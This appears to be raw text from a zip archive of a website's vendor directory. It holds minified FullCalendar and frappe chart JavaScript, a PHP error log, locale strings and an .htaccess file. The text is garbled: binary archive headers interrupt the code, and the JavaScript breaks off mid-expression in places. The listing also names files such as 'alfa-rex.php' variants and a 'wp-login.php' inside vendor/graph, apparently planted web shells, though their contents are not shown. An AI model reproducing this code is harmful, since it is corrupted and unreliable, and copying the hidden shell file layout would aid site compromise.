fc-scrollgrid-shrink-cushion",ref:o},i)))}))}))}function bs(e){return e.text}var Cs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){return this.props.slatMetas.map((function(e){return Ar("tr",{key:e.key},Ar(Ds,r({},e)))}))},t}(Yr),ws=bt({week:"short"}),Rs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.allDaySplitter=new Es,t.headerElRef=Lr(),t.rootElRef=Lr(),t.scrollerElRef=Lr(),t.state={slatCoords:null},t.handleScrollTopRequest=function(e){var n=t.scrollerElRef.current;n&&(n.scrollTop=e)},t.renderHeadAxis=function(e,n){void 0===n&&(n="");var o=t.context.options,i=t.props.dateProfile.renderRange,a=Se(i.start,i.end),s=o.navLinks&&1===a?{"data-navlink":yr(i.start,"week"),tabIndex:0}:{};return o.weekNumbers&&"day"===e?Ar(ha,{date:i.start,defaultFormat:ws},(function(e,t,o,i){return Ar("th",{ref:e,className:["fc-timegrid-axis","fc-scrollgrid-shrink"].concat(t).join(" ")},Ar("div",{className:"fc-timegrid-axis-frame fc-scrollgrid-shrink-frame fc-timegrid-axis-frame-liquid",style:{height:n}},Ar("a",r({ref:o,className:"fc-timegrid-axis-cushion fc-scrollgrid-shrink-cushion fc-scrollgrid-sync-inner"},s),i)))})):Ar("th",{className:"fc-timegrid-axis"},Ar("div",{className:"fc-timegrid-axis-frame",style:{height:n}}))},t.renderTableRowAxis=function(e){var n=t.context,r=n.options,o=n.viewApi,i={text:r.allDayText,view:o};return Ar(fo,{hookProps:i,classNames:r.allDayClassNames,content:r.allDayContent,defaultContent:Ts,didMount:r.allDayDidMount,willUnmount:r.allDayWillUnmount},(function(t,n,r,o){return Ar("td",{ref:t,className:["fc-timegrid-axis","fc-scrollgrid-shrink"].concat(n).join(" ")},Ar("div",{className:"fc-timegrid-axis-frame fc-scrollgrid-shrink-frame"+(null==e?" fc-timegrid-axis-frame-liquid":""),style:{height:e}},Ar("span",{className:"fc-timegrid-axis-cushion fc-scrollgrid-shrink-cushion fc-scrollgrid-sync-inner",ref:r},o)))}))},t.handleSlatCoords=function(e){t.setState({slatCoords:e})},t}return n(t,e),t.prototype.renderSimpleLayout=function(e,t,n){var r=this.context,o=this.props,i=[],a=ea(r.options);return e&&i.push({type:"header",key:"header",isSticky:a,chunk:{elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}}),t&&(i.push({type:"body",key:"all-day",chunk:{content:t}}),i.push({type:"body",key:"all-day-divider",outerContent:Ar("tr",{className:"fc-scrollgrid-section"},Ar("td",{className:"fc-timegrid-divider "+r.theme.getClass("tableCellShaded")}))})),i.push({type:"body",key:"body",liquid:!0,expandRows:Boolean(r.options.expandRows),chunk:{scrollerElRef:this.scrollerElRef,content:n}}),Ar(Do,{viewSpec:r.viewSpec,elRef:this.rootElRef},(function(e,t){return Ar("div",{className:["fc-timegrid"].concat(t).join(" "),ref:e},Ar(na,{liquid:!o.isHeightAuto&&!o.forPrint,cols:[{width:"shrink"}],sections:i}))}))},t.prototype.renderHScrollLayout=function(e,t,n,r,o,i,a){var s=this,l=this.context.pluginHooks.scrollGridImpl;if(!l)throw new Error("No ScrollGrid implementation");var u=this.context,c=this.props,d=!c.forPrint&&ea(u.options),p=!c.forPrint&&ta(u.options),f=[];e&&f.push({type:"header",key:"header",isSticky:d,syncRowHeights:!0,chunks:[{key:"axis",rowContent:function(e){return Ar("tr",null,s.renderHeadAxis("day",e.rowSyncHeights[0]))}},{key:"cols",elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}]}),t&&(f.push({type:"body",key:"all-day",syncRowHeights:!0,chunks:[{key:"axis",rowContent:function(e){return Ar("tr",null,s.renderTableRowAxis(e.rowSyncHeights[0]))}},{key:"cols",content:t}]}),f.push({key:"all-day-divider",type:"body",outerContent:Ar("tr",{className:"fc-scrollgrid-section"},Ar("td",{colSpan:2,className:"fc-timegrid-divider "+u.theme.getClass("tableCellShaded")}))}));var h=u.options.nowIndicator;return f.push({type:"body",key:"body",liquid:!0,expandRows:Boolean(u.options.expandRows),chunks:[{key:"axis",content:function(e){return Ar("div",{className:"fc-timegrid-axis-chunk"},Ar("table",{style:{height:e.expandRows?e.clientHeight:""}},e.tableColGroupNode,Ar("tbody",null,Ar(Cs,{slatMetas:i}))),Ar("div",{className:"fc-timegrid-now-indicator-container"},Ar(Pi,{unit:h?"minute":"day"},(function(e){var t=h&&a&&a.safeComputeTop(e);return"number"==typeof t?Ar(aa,{isAxis:!0,date:e},(function(e,n,r,o){return Ar("div",{ref:e,className:["fc-timegrid-now-indicator-arrow"].concat(n).join(" "),style:{top:t}},o)})):null}))))}},{key:"cols",scrollerElRef:this.scrollerElRef,content:n}]}),p&&f.push({key:"footer",type:"footer",isSticky:!0,chunks:[{key:"axis",content:Qi},{key:"cols",content:Qi}]}),Ar(Do,{viewSpec:u.viewSpec,elRef:this.rootElRef},(function(e,t){return Ar("div",{className:["fc-timegrid"].concat(t).join(" "),ref:e},Ar(l,{liquid:!c.isHeightAuto&&!c.forPrint,colGroups:[{width:"shrink",cols:[{width:"shrink"}]},{cols:[{span:r,minWidth:o}]}],sections:f}))}))},t.prototype.getAllDayMaxEventProps=function(){var e=this.context.options,t=e.dayMaxEvents,n=e.dayMaxEventRows;return!0!==t&&!0!==n||(t=void 0,n=5),{dayMaxEvents:t,dayMaxEventRows:n}},t}(so);function Ts(e){return e.text}var ks=function(){function e(e,t,n){this.positions=e,this.dateProfile=t,this.slotDuration=n}return e.prototype.safeComputeTop=function(e){var t=this.dateProfile;if(un(t.currentRange,e)){var n=we(e),r=e.valueOf()-n.valueOf();if(r>=et(t.slotMinTime)&&ri.top&&o.top0?" fc-timegrid-event-harness-inset":""),key:s,style:r({visibility:t[s]?"hidden":""},u)},Ar(Ws,r({seg:e,isDragging:n,isResizing:o,isDateSelecting:i,isSelected:s===l.eventSelection,isCondensed:e.bottom-e.top=0;t-=1)if(n=Xe(Zs[t]),null!==(r=tt(n,e))&&r>1)return n;return e}(r),u=[];et(a)0?e.renderSegList(s,i):e.renderEmptyMessage()))}))},t.prototype.renderEmptyMessage=function(){var e=this.context,t=e.options,n=e.viewApi,r={text:t.noEventsText,view:n};return Ar(fo,{hookProps:r,classNames:t.noEventsClassNames,content:t.noEventsContent,defaultContent:al,didMount:t.noEventsDidMount,willUnmount:t.noEventsWillUnmount},(function(e,t,n,r){return Ar("div",{className:["fc-list-empty"].concat(t).join(" "),ref:e},Ar("div",{className:"fc-list-empty-cushion",ref:n},r))}))},t.prototype.renderSegList=function(e,t){var n=this.context,o=n.theme,i=n.options,a=function(e){var t,n,r=[];for(t=0;tPKZC{uaavendor/full-calendar/error_lognu[[04-Jul-2025 11:08:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 11:08:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 11:09:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZճ&N&N'vendor/full-calendar/locales-all.min.jsnu[[].push.apply(FullCalendar.globalLocales,function(){"use strict";return[{code:"af",week:{dow:1,doy:4},buttonText:{prev:"Vorige",next:"Volgende",today:"Vandag",year:"Jaar",month:"Maand",week:"Week",day:"Dag",list:"Agenda"},allDayText:"Heeldag",moreLinkText:"Addisionele",noEventsText:"Daar is geen gebeurtenisse nie"},{code:"ar-dz",week:{dow:0,doy:4},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar-kw",week:{dow:0,doy:12},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar-ly",week:{dow:6,doy:12},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar-ma",week:{dow:6,doy:12},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar-sa",week:{dow:0,doy:6},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar-tn",week:{dow:1,doy:4},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"ar",week:{dow:6,doy:12},direction:"rtl",buttonText:{prev:"السابق",next:"التالي",today:"اليوم",month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},weekText:"أسبوع",allDayText:"اليوم كله",moreLinkText:"أخرى",noEventsText:"أي أحداث لعرض"},{code:"az",week:{dow:1,doy:4},buttonText:{prev:"Əvvəl",next:"Sonra",today:"Bu Gün",month:"Ay",week:"Həftə",day:"Gün",list:"Gündəm"},weekText:"Həftə",allDayText:"Bütün Gün",moreLinkText:function(e){return"+ daha çox "+e},noEventsText:"Göstərmək üçün hadisə yoxdur"},{code:"bg",week:{dow:1,doy:7},buttonText:{prev:"назад",next:"напред",today:"днес",month:"Месец",week:"Седмица",day:"Ден",list:"График"},allDayText:"Цял ден",moreLinkText:function(e){return"+още "+e},noEventsText:"Няма събития за показване"},{code:"bs",week:{dow:1,doy:7},buttonText:{prev:"Prošli",next:"Sljedeći",today:"Danas",month:"Mjesec",week:"Sedmica",day:"Dan",list:"Raspored"},weekText:"Sed",allDayText:"Cijeli dan",moreLinkText:function(e){return"+ još "+e},noEventsText:"Nema događaja za prikazivanje"},{code:"ca",week:{dow:1,doy:4},buttonText:{prev:"Anterior",next:"Següent",today:"Avui",month:"Mes",week:"Setmana",day:"Dia",list:"Agenda"},weekText:"Set",allDayText:"Tot el dia",moreLinkText:"més",noEventsText:"No hi ha esdeveniments per mostrar"},{code:"cs",week:{dow:1,doy:4},buttonText:{prev:"Dříve",next:"Později",today:"Nyní",month:"Měsíc",week:"Týden",day:"Den",list:"Agenda"},weekText:"Týd",allDayText:"Celý den",moreLinkText:function(e){return"+další: "+e},noEventsText:"Žádné akce k zobrazení"},{code:"cy",week:{dow:1,doy:4},buttonText:{prev:"Blaenorol",next:"Nesaf",today:"Heddiw",year:"Blwyddyn",month:"Mis",week:"Wythnos",day:"Dydd",list:"Rhestr"},weekText:"Wythnos",allDayText:"Trwy'r dydd",moreLinkText:"Mwy",noEventsText:"Dim digwyddiadau"},{code:"da",week:{dow:1,doy:4},buttonText:{prev:"Forrige",next:"Næste",today:"I dag",month:"Måned",week:"Uge",day:"Dag",list:"Agenda"},weekText:"Uge",allDayText:"Hele dagen",moreLinkText:"flere",noEventsText:"Ingen arrangementer at vise"},{code:"de-at",week:{dow:1,doy:4},buttonText:{prev:"Zurück",next:"Vor",today:"Heute",year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},weekText:"KW",allDayText:"Ganztägig",moreLinkText:function(e){return"+ weitere "+e},noEventsText:"Keine Ereignisse anzuzeigen"},{code:"de",week:{dow:1,doy:4},buttonText:{prev:"Zurück",next:"Vor",today:"Heute",year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},weekText:"KW",allDayText:"Ganztägig",moreLinkText:function(e){return"+ weitere "+e},noEventsText:"Keine Ereignisse anzuzeigen"},{code:"el",week:{dow:1,doy:4},buttonText:{prev:"Προηγούμενος",next:"Επόμενος",today:"Σήμερα",month:"Μήνας",week:"Εβδομάδα",day:"Ημέρα",list:"Ατζέντα"},weekText:"Εβδ",allDayText:"Ολοήμερο",moreLinkText:"περισσότερα",noEventsText:"Δεν υπάρχουν γεγονότα προς εμφάνιση"},{code:"en-au",week:{dow:1,doy:4}},{code:"en-gb",week:{dow:1,doy:4}},{code:"en-nz",week:{dow:1,doy:4}},{code:"eo",week:{dow:1,doy:4},buttonText:{prev:"Antaŭa",next:"Sekva",today:"Hodiaŭ",month:"Monato",week:"Semajno",day:"Tago",list:"Tagordo"},weekText:"Sm",allDayText:"Tuta tago",moreLinkText:"pli",noEventsText:"Neniuj eventoj por montri"},{code:"es",week:{dow:0,doy:6},buttonText:{prev:"Ant",next:"Sig",today:"Hoy",month:"Mes",week:"Semana",day:"Día",list:"Agenda"},weekText:"Sm",allDayText:"Todo el día",moreLinkText:"más",noEventsText:"No hay eventos para mostrar"},{code:"es",week:{dow:1,doy:4},buttonText:{prev:"Ant",next:"Sig",today:"Hoy",month:"Mes",week:"Semana",day:"Día",list:"Agenda"},weekText:"Sm",allDayText:"Todo el día",moreLinkText:"más",noEventsText:"No hay eventos para mostrar"},{code:"et",week:{dow:1,doy:4},buttonText:{prev:"Eelnev",next:"Järgnev",today:"Täna",month:"Kuu",week:"Nädal",day:"Päev",list:"Päevakord"},weekText:"näd",allDayText:"Kogu päev",moreLinkText:function(e){return"+ veel "+e},noEventsText:"Kuvamiseks puuduvad sündmused"},{code:"eu",week:{dow:1,doy:7},buttonText:{prev:"Aur",next:"Hur",today:"Gaur",month:"Hilabetea",week:"Astea",day:"Eguna",list:"Agenda"},weekText:"As",allDayText:"Egun osoa",moreLinkText:"gehiago",noEventsText:"Ez dago ekitaldirik erakusteko"},{code:"fa",week:{dow:6,doy:12},direction:"rtl",buttonText:{prev:"قبلی",next:"بعدی",today:"امروز",month:"ماه",week:"هفته",day:"روز",list:"برنامه"},weekText:"هف",allDayText:"تمام روز",moreLinkText:function(e){return"بیش از "+e},noEventsText:"هیچ رویدادی به نمایش"},{code:"fi",week:{dow:1,doy:4},buttonText:{prev:"Edellinen",next:"Seuraava",today:"Tänään",month:"Kuukausi",week:"Viikko",day:"Päivä",list:"Tapahtumat"},weekText:"Vk",allDayText:"Koko päivä",moreLinkText:"lisää",noEventsText:"Ei näytettäviä tapahtumia"},{code:"fr",buttonText:{prev:"Précédent",next:"Suivant",today:"Aujourd'hui",year:"Année",month:"Mois",week:"Semaine",day:"Jour",list:"Mon planning"},weekText:"Sem.",allDayText:"Toute la journée",moreLinkText:"en plus",noEventsText:"Aucun événement à afficher"},{code:"fr-ch",week:{dow:1,doy:4},buttonText:{prev:"Précédent",next:"Suivant",today:"Courant",year:"Année",month:"Mois",week:"Semaine",day:"Jour",list:"Mon planning"},weekText:"Sm",allDayText:"Toute la journée",moreLinkText:"en plus",noEventsText:"Aucun événement à afficher"},{code:"fr",week:{dow:1,doy:4},buttonText:{prev:"Précédent",next:"Suivant",today:"Aujourd'hui",year:"Année",month:"Mois",week:"Semaine",day:"Jour",list:"Planning"},weekText:"Sem.",allDayText:"Toute la journée",moreLinkText:"en plus",noEventsText:"Aucun événement à afficher"},{code:"gl",week:{dow:1,doy:4},buttonText:{prev:"Ant",next:"Seg",today:"Hoxe",month:"Mes",week:"Semana",day:"Día",list:"Axenda"},weekText:"Sm",allDayText:"Todo o día",moreLinkText:"máis",noEventsText:"Non hai eventos para amosar"},{code:"he",direction:"rtl",buttonText:{prev:"הקודם",next:"הבא",today:"היום",month:"חודש",week:"שבוע",day:"יום",list:"סדר יום"},allDayText:"כל היום",moreLinkText:"אחר",noEventsText:"אין אירועים להצגה",weekText:"שבוע"},{code:"hi",week:{dow:0,doy:6},buttonText:{prev:"पिछला",next:"अगला",today:"आज",month:"महीना",week:"सप्ताह",day:"दिन",list:"कार्यसूची"},weekText:"हफ्ता",allDayText:"सभी दिन",moreLinkText:function(e){return"+अधिक "+e},noEventsText:"कोई घटनाओं को प्रदर्शित करने के लिए"},{code:"hr",week:{dow:1,doy:7},buttonText:{prev:"Prijašnji",next:"Sljedeći",today:"Danas",month:"Mjesec",week:"Tjedan",day:"Dan",list:"Raspored"},weekText:"Tje",allDayText:"Cijeli dan",moreLinkText:function(e){return"+ još "+e},noEventsText:"Nema događaja za prikaz"},{code:"hu",week:{dow:1,doy:4},buttonText:{prev:"vissza",next:"előre",today:"ma",month:"Hónap",week:"Hét",day:"Nap",list:"Napló"},weekText:"Hét",allDayText:"Egész nap",moreLinkText:"további",noEventsText:"Nincs megjeleníthető esemény"},{code:"hy-am",week:{dow:1,doy:4},buttonText:{prev:"Նախորդ",next:"Հաջորդ",today:"Այսօր",month:"Ամիս",week:"Շաբաթ",day:"Օր",list:"Օրվա ցուցակ"},weekText:"Շաբ",allDayText:"Ամբողջ օր",moreLinkText:function(e){return"+ ևս "+e},noEventsText:"Բացակայում է իրադարձությունը ցուցադրելու"},{code:"id",week:{dow:1,doy:7},buttonText:{prev:"mundur",next:"maju",today:"hari ini",month:"Bulan",week:"Minggu",day:"Hari",list:"Agenda"},weekText:"Mg",allDayText:"Sehari penuh",moreLinkText:"lebih",noEventsText:"Tidak ada acara untuk ditampilkan"},{code:"is",week:{dow:1,doy:4},buttonText:{prev:"Fyrri",next:"Næsti",today:"Í dag",month:"Mánuður",week:"Vika",day:"Dagur",list:"Dagskrá"},weekText:"Vika",allDayText:"Allan daginn",moreLinkText:"meira",noEventsText:"Engir viðburðir til að sýna"},{code:"it",week:{dow:1,doy:4},buttonText:{prev:"Prec",next:"Succ",today:"Oggi",month:"Mese",week:"Settimana",day:"Giorno",list:"Agenda"},weekText:"Sm",allDayText:"Tutto il giorno",moreLinkText:function(e){return"+altri "+e},noEventsText:"Non ci sono eventi da visualizzare"},{code:"ja",buttonText:{prev:"前",next:"次",today:"今日",month:"月",week:"週",day:"日",list:"予定リスト"},weekText:"週",allDayText:"終日",moreLinkText:function(e){return"他 "+e+" 件"},noEventsText:"表示する予定はありません"},{code:"ka",week:{dow:1,doy:7},buttonText:{prev:"წინა",next:"შემდეგი",today:"დღეს",month:"თვე",week:"კვირა",day:"დღე",list:"დღის წესრიგი"},weekText:"კვ",allDayText:"მთელი დღე",moreLinkText:function(e){return"+ კიდევ "+e},noEventsText:"ღონისძიებები არ არის"},{code:"kk",week:{dow:1,doy:7},buttonText:{prev:"Алдыңғы",next:"Келесі",today:"Бүгін",month:"Ай",week:"Апта",day:"Күн",list:"Күн тәртібі"},weekText:"Не",allDayText:"Күні бойы",moreLinkText:function(e){return"+ тағы "+e},noEventsText:"Көрсету үшін оқиғалар жоқ"},{code:"ko",buttonText:{prev:"이전달",next:"다음달",today:"오늘",month:"월",week:"주",day:"일",list:"일정목록"},weekText:"주",allDayText:"종일",moreLinkText:"개",noEventsText:"일정이 없습니다"},{code:"lb",week:{dow:1,doy:4},buttonText:{prev:"Zréck",next:"Weider",today:"Haut",month:"Mount",week:"Woch",day:"Dag",list:"Terminiwwersiicht"},weekText:"W",allDayText:"Ganzen Dag",moreLinkText:"méi",noEventsText:"Nee Evenementer ze affichéieren"},{code:"lt",week:{dow:1,doy:4},buttonText:{prev:"Atgal",next:"Pirmyn",today:"Šiandien",month:"Mėnuo",week:"Savaitė",day:"Diena",list:"Darbotvarkė"},weekText:"SAV",allDayText:"Visą dieną",moreLinkText:"daugiau",noEventsText:"Nėra įvykių rodyti"},{code:"lv",week:{dow:1,doy:4},buttonText:{prev:"Iepr.",next:"Nāk.",today:"Šodien",month:"Mēnesis",week:"Nedēļa",day:"Diena",list:"Dienas kārtība"},weekText:"Ned.",allDayText:"Visu dienu",moreLinkText:function(e){return"+vēl "+e},noEventsText:"Nav notikumu"},{code:"mk",buttonText:{prev:"претходно",next:"следно",today:"Денес",month:"Месец",week:"Недела",day:"Ден",list:"График"},weekText:"Сед",allDayText:"Цел ден",moreLinkText:function(e){return"+повеќе "+e},noEventsText:"Нема настани за прикажување"},{code:"ms",week:{dow:1,doy:7},buttonText:{prev:"Sebelum",next:"Selepas",today:"hari ini",month:"Bulan",week:"Minggu",day:"Hari",list:"Agenda"},weekText:"Mg",allDayText:"Sepanjang hari",moreLinkText:function(e){return"masih ada "+e+" acara"},noEventsText:"Tiada peristiwa untuk dipaparkan"},{code:"nb",week:{dow:1,doy:4},buttonText:{prev:"Forrige",next:"Neste",today:"I dag",month:"Måned",week:"Uke",day:"Dag",list:"Agenda"},weekText:"Uke",allDayText:"Hele dagen",moreLinkText:"til",noEventsText:"Ingen hendelser å vise"},{code:"ne",week:{dow:7,doy:1},buttonText:{prev:"अघिल्लो",next:"अर्को",today:"आज",month:"महिना",week:"हप्ता",day:"दिन",list:"सूची"},weekText:"हप्ता",allDayText:"दिनभरि",moreLinkText:"थप लिंक",noEventsText:"देखाउनको लागि कुनै घटनाहरू छैनन्"},{code:"nl",week:{dow:1,doy:4},buttonText:{prev:"Vorige",next:"Volgende",today:"Vandaag",year:"Jaar",month:"Maand",week:"Week",day:"Dag",list:"Agenda"},allDayText:"Hele dag",moreLinkText:"extra",noEventsText:"Geen evenementen om te laten zien"},{code:"nn",week:{dow:1,doy:4},buttonText:{prev:"Førre",next:"Neste",today:"I dag",month:"Månad",week:"Veke",day:"Dag",list:"Agenda"},weekText:"Veke",allDayText:"Heile dagen",moreLinkText:"til",noEventsText:"Ingen hendelser å vise"},{code:"pl",week:{dow:1,doy:4},buttonText:{prev:"Poprzedni",next:"Następny",today:"Dziś",month:"Miesiąc",week:"Tydzień",day:"Dzień",list:"Plan dnia"},weekText:"Tydz",allDayText:"Cały dzień",moreLinkText:"więcej",noEventsText:"Brak wydarzeń do wyświetlenia"},{code:"pt-br",buttonText:{prev:"Anterior",next:"Próximo",today:"Hoje",month:"Mês",week:"Semana",day:"Dia",list:"Lista"},weekText:"Sm",allDayText:"dia inteiro",moreLinkText:function(e){return"mais +"+e},noEventsText:"Não há eventos para mostrar"},{code:"pt",week:{dow:1,doy:4},buttonText:{prev:"Anterior",next:"Seguinte",today:"Hoje",month:"Mês",week:"Semana",day:"Dia",list:"Agenda"},weekText:"Sem",allDayText:"Todo o dia",moreLinkText:"mais",noEventsText:"Não há eventos para mostrar"},{code:"ro",week:{dow:1,doy:7},buttonText:{prev:"precedentă",next:"următoare",today:"Azi",month:"Lună",week:"Săptămână",day:"Zi",list:"Agendă"},weekText:"Săpt",allDayText:"Toată ziua",moreLinkText:function(e){return"+alte "+e},noEventsText:"Nu există evenimente de afișat"},{code:"ru",week:{dow:1,doy:4},buttonText:{prev:"Пред",next:"След",today:"Сегодня",month:"Месяц",week:"Неделя",day:"День",list:"Повестка дня"},weekText:"Нед",allDayText:"Весь день",moreLinkText:function(e){return"+ ещё "+e},noEventsText:"Нет событий для отображения"},{code:"sk",week:{dow:1,doy:4},buttonText:{prev:"Predchádzajúci",next:"Nasledujúci",today:"Dnes",month:"Mesiac",week:"Týždeň",day:"Deň",list:"Rozvrh"},weekText:"Ty",allDayText:"Celý deň",moreLinkText:function(e){return"+ďalšie: "+e},noEventsText:"Žiadne akcie na zobrazenie"},{code:"sl",week:{dow:1,doy:7},buttonText:{prev:"Prejšnji",next:"Naslednji",today:"Trenutni",month:"Mesec",week:"Teden",day:"Dan",list:"Dnevni red"},weekText:"Teden",allDayText:"Ves dan",moreLinkText:"več",noEventsText:"Ni dogodkov za prikaz"},{code:"sq",week:{dow:1,doy:4},buttonText:{prev:"mbrapa",next:"Përpara",today:"sot",month:"Muaj",week:"Javë",day:"Ditë",list:"Listë"},weekText:"Ja",allDayText:"Gjithë ditën",moreLinkText:function(e){return"+më tepër "+e},noEventsText:"Nuk ka evente për të shfaqur"},{code:"sr-cyrl",week:{dow:1,doy:7},buttonText:{prev:"Претходна",next:"следећи",today:"Данас",month:"Месец",week:"Недеља",day:"Дан",list:"Планер"},weekText:"Сед",allDayText:"Цео дан",moreLinkText:function(e){return"+ још "+e},noEventsText:"Нема догађаја за приказ"},{code:"sr",week:{dow:1,doy:7},buttonText:{prev:"Prethodna",next:"Sledeći",today:"Danas",month:"Mеsеc",week:"Nеdеlja",day:"Dan",list:"Planеr"},weekText:"Sed",allDayText:"Cеo dan",moreLinkText:function(e){return"+ još "+e},noEventsText:"Nеma događaja za prikaz"},{code:"sv",week:{dow:1,doy:4},buttonText:{prev:"Förra",next:"Nästa",today:"Idag",month:"Månad",week:"Vecka",day:"Dag",list:"Program"},weekText:"v.",allDayText:"Heldag",moreLinkText:"till",noEventsText:"Inga händelser att visa"},{code:"ta-in",week:{dow:1,doy:4},buttonText:{prev:"முந்தைய",next:"அடுத்தது",today:"இன்று",month:"மாதம்",week:"சனிக்கிழமை",day:"நாள்",list:"தினசரி கதை"},weekText:"வார",allDayText:"நாள் முழுவதும்",moreLinkText:function(e){return"+ மேலும் "+e},noEventsText:"நிகழ்வைக் காட்டவில்லை"},{code:"th",week:{dow:1,doy:4},buttonText:{prev:"ก่อนหน้า",next:"ถัดไป",prevYear:"ปีก่อนหน้า",nextYear:"ปีถัดไป",year:"ปี",today:"วันนี้",month:"เดือน",week:"สัปดาห์",day:"วัน",list:"กำหนดการ"},weekText:"สัปดาห์",allDayText:"ตลอดวัน",moreLinkText:"เพิ่มเติม",noEventsText:"ไม่มีกิจกรรมที่จะแสดง"},{code:"tr",week:{dow:1,doy:7},buttonText:{prev:"geri",next:"ileri",today:"bugün",month:"Ay",week:"Hafta",day:"Gün",list:"Ajanda"},weekText:"Hf",allDayText:"Tüm gün",moreLinkText:"daha fazla",noEventsText:"Gösterilecek etkinlik yok"},{code:"ug",buttonText:{month:"ئاي",week:"ھەپتە",day:"كۈن",list:"كۈنتەرتىپ"},allDayText:"پۈتۈن كۈن"},{code:"uk",week:{dow:1,doy:7},buttonText:{prev:"Попередній",next:"далі",today:"Сьогодні",month:"Місяць",week:"Тиждень",day:"День",list:"Порядок денний"},weekText:"Тиж",allDayText:"Увесь день",moreLinkText:function(e){return"+ще "+e+"..."},noEventsText:"Немає подій для відображення"},{code:"uz",buttonText:{month:"Oy",week:"Xafta",day:"Kun",list:"Kun tartibi"},allDayText:"Kun bo'yi",moreLinkText:function(e){return"+ yana "+e},noEventsText:"Ko'rsatish uchun voqealar yo'q"},{code:"vi",week:{dow:1,doy:4},buttonText:{prev:"Trước",next:"Tiếp",today:"Hôm nay",month:"Tháng",week:"Tuần",day:"Ngày",list:"Lịch biểu"},weekText:"Tu",allDayText:"Cả ngày",moreLinkText:function(e){return"+ thêm "+e},noEventsText:"Không có sự kiện để hiển thị"},{code:"zh-cn",week:{dow:1,doy:4},buttonText:{prev:"上月",next:"下月",today:"今天",month:"月",week:"周",day:"日",list:"日程"},weekText:"周",allDayText:"全天",moreLinkText:function(e){return"另外 "+e+" 个"},noEventsText:"没有事件显示"},{code:"zh-tw",buttonText:{prev:"上月",next:"下月",today:"今天",month:"月",week:"週",day:"天",list:"活動列表"},weekText:"周",allDayText:"整天",moreLinkText:"顯示更多",noEventsText:"没有任何活動"}]}());PKZGAk}|-|-vendor/full-calendar/about.php7nu[PKZGAk}|-|-vendor/graph/alfa-rex.phpnu[PKZ]ddvendor/graph/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-vendor/graph/alfa-rex.php7nu[PKZGAk}|-|-vendor/graph/alfa-rex.php8nu[PKZGAk}|-|-vendor/graph/wp-login.phpnu[PKZGAk}|-|-vendor/graph/alfa-rex.php56nu[PKZvendor/graph/frappechart.jsnu[var frappe=function(){"use strict";function t(t,e){return"string"==typeof t?(e||document).querySelector(t):t||null}function e(t){var e=t.getBoundingClientRect();return{top:e.top+(document.documentElement.scrollTop||document.body.scrollTop),left:e.left+(document.documentElement.scrollLeft||document.body.scrollLeft)}}function i(t){var e=t.getBoundingClientRect();return e.top>=0&&e.left>=0&&e.bottom<=(window.innerHeight||document.documentElement.clientHeight)&&e.right<=(window.innerWidth||document.documentElement.clientWidth)}function n(t){var e=window.getComputedStyle(t),i=parseFloat(e.paddingLeft)+parseFloat(e.paddingRight);return t.clientWidth-i}function a(t,e,i){var n=document.createEvent("HTMLEvents");n.initEvent(e,!0,!0);for(var a in i)n[a]=i[a];return t.dispatchEvent(n)}function s(t){return t.titleHeight+t.margins.top+t.paddings.top}function r(t){return 